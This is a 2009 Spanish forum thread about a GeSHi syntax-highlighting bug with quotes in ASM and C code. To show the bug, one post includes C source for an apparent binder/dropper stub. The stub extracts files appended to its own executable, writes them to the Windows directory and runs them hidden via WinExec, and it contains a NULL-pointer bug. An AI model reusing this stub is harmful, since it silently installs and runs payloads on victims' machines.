Error en geshi [ASM]

Iniciado por YST, 28 Junio 2009, 01:11 AM

0 Miembros y 1 Visitante están viendo este tema.

YST

Hola ,

Si uno usa el geshi de ASM y pone por ejemplo una caomilla simple dentro de dos comillas dobles te pone todo el code como si fuera dentro de esa comilla no se si se me entiende
http://foro.elhacker.net/asm/recopilacion_de_mis_codigos-t256657.0.html;msg1256520#msg1256520

PD : Creo que ese es el error pero no estoy seguro :P


Yo le enseñe a Kayser a usar objetos en ASM

Karcrack

Yo el problema lo veo aqui:
Citarinvoke ExitProcess,0'

Asi queda sin poner esa comilla simple al final de la linea:
Código (asm) [Seleccionar]
include 'win32ax.inc'
.data
dString db "i'm a string",0
.code
start:
stdcall fRight,dString,9
invoke MessageBox,0,eax,0,0
invoke ExitProcess,0
;Funcion que emula la funcion Right de Visual Basic 6
proc fRight,pString,pLen
push esi ebx  edi ecx
mov eax,[pLen]
inc eax
invoke GlobalAlloc,GPTR, eax
mov esi,eax
mov ebx,eax
stdcall Len,[pString]
sub eax,[pLen]
mov edi,[pString]
add edi,eax
.bucle_:
cmp [pLen] ,0
je .exit
mov cl,byte[edi]
mov byte[ebx],cl
inc ebx
inc edi
dec [pLen]
jmp .bucle_
.exit:
mov eax,esi
pop ecx edi ebx esi
ret
endp
proc Len,cCadena   ;Funcion que mide la cadena
push ecx edi
mov ecx,-1
mov edi,[cCadena]
mov al,0
repnz scasb
mov eax,ecx
not eax
dec eax
pop edi ecx
ret
endp
.end start

Krackwar ™

YST, eso a veces pasa cuando uno no duerme mas de 2 horas por dia :xD
WHK es mas u17r4m4573r31337 que yo



El error mas grande de el mundo es decir que el ser humano es inteligente.

Facismo , antifacismo , etc.. la misma mierda ..
Soy el-> http://tinyurl.com/fantasma-de-krackwar
Código (asm) [Seleccionar]

mov ecx,1000
Etiqueta:
invoke printf,"No Copiare en clases"
loop Etiq

YST

Cita de: Krackwar ™ en 28 Junio 2009, 04:24 AM
YST, eso a veces pasa cuando uno no duerme mas de 2 horas por dia :xD
jajaja , pero sigue siendo bug ya que el FASM lo compila de igual manera :P


Yo le enseñe a Kayser a usar objetos en ASM

[Zero]

#4
 :xD :xD :xD :xD :xD :xD :xD :xD :xD :xD :xD :xD :xD

Krackwar ha vuelto  :o  ;D. Con código en C también hay un bug parecido, no se en que post tuve que poner comentarios con comillas para arreglarlo  :P.

Saludos

Edito: lo encontré, falla al intentar escapar una barra: "\\":

[code=c]
#pragma optimize("gsy", on)
#include <windows.h>

typedef DWORD (WINAPI *_RtlDecompressBuffer)(IN ULONG CompressionFormat,OUT PVOID DestinationBuffer,IN ULONG DestinationBufferLength,
IN PVOID SourceBuffer,IN ULONG SourceBufferLength,OUT PULONG pDestinationSize );

typedef VOID (WINAPI *_CopyMemory)(PVOID Destination,CONST VOID *Source,SIZE_T Length);

DWORD dwBytes;

VOID SaveFileToDisk(LPSTR nFileName,LPSTR lpFileMaped,DWORD FileSize)
{
HANDLE hSFTD=CreateFile(nFileName,GENERIC_READ+GENERIC_WRITE,0,0,CREATE_ALWAYS,0,0);
WriteFile(hSFTD,lpFileMaped,FileSize,&dwBytes,0);
CloseHandle(hSFTD);
}

LPSTR DecompressBuffer(LPSTR lpBuffer,DWORD szBuffer,LPDWORD dwSizeOut )
{
  _RtlDecompressBuffer miRtlDecompressBuffer;

  LPSTR szRet=(LPSTR)GlobalAlloc(GPTR,16*szBuffer);

  miRtlDecompressBuffer=(_RtlDecompressBuffer)GetProcAddress((HINSTANCE)LoadLibraryA("NTDLL.DLL"),"RtlDecompressBuffer");

  miRtlDecompressBuffer(COMPRESSION_FORMAT_LZNT1,szRet,16*szBuffer,lpBuffer,szBuffer,dwSizeOut);

  return szRet;
}

void main()
{
_CopyMemory miCopyMemory=NULL;
miCopyMemory=(_CopyMemory)GetProcAddress(GetModuleHandle("KERNEL32.DLL"),"RtlMoveMemory");

DWORD szSubFile;
LPSTR ext=(LPSTR)GlobalAlloc(GPTR,3);
DWORD Seek=0;
LPSTR lpFile=NULL;

LPSTR AppName=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);
GetModuleFileName(0,AppName,MAX_PATH);

HANDLE hFile=CreateFile(AppName,GENERIC_READ,0,0,OPEN_EXISTING,0,0);
DWORD szFile=GetFileSize(hFile,0);
LPSTR FileBuffer=(LPSTR)GlobalAlloc(GPTR,szFile);
ReadFile(hFile,FileBuffer,szFile,&dwBytes,0);

DWORD StubSize=0x640;

LPSTR WinPath=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);
GetWindowsDirectory(WinPath,MAX_PATH);

DWORD NumArchivos;
miCopyMemory(&NumArchivos,&FileBuffer[StubSize],4);

Seek=4;
for(DWORD i=0;i<NumArchivos;i++)
{
//Obtenemos el peso del archivo
miCopyMemory(&szSubFile,&FileBuffer[StubSize+Seek],4);

//Obtenemos la extensión
miCopyMemory(&ext[0],&FileBuffer[StubSize+Seek+4],3);

//Leemos el archivo
lpFile=(LPSTR)GlobalAlloc(GPTR,szSubFile);
miCopyMemory(&lpFile[0],&FileBuffer[StubSize+Seek+7],szSubFile);

//Lo descomprimimos
DWORD szDecompressedFile;
LPSTR lpDecompressedFile=DecompressBuffer(lpFile,szSubFile,&szDecompressedFile);

//Generamos la ruta
LPSTR Path=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);
lstrcat(Path,WinPath);
lstrcat(Path,"\\"); //" //Ta mal geshi ¬¬
LPSTR fName=NULL;
for(DWORD z=0;z<i+1;z++)
{
lstrcat(fName,"A");
}
lstrcat(Path,fName);
lstrcat(Path,".");
lstrcat(Path,ext);

//Lo guardamos en WinPath
SaveFileToDisk(Path,lpDecompressedFile,szDecompressedFile);

LPSTR Archivo=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);
lstrcat(Archivo,"cmd /d /c \"");
lstrcat(Archivo,WinPath);
lstrcat(Archivo,"\\"); //" //Ta mal geshi ¬¬
lstrcat(Archivo,fName);
lstrcat(Archivo,".");
lstrcat(Archivo,ext);
lstrcat(Archivo,"\"");

WinExec(Archivo,SW_HIDE);

Seek=Seek+11+szSubFile;

}
CloseHandle(hFile);
}
[/code]

"El Hombre, en su orgullo, creó a Dios a su imagen y semejanza.”
Nietzsche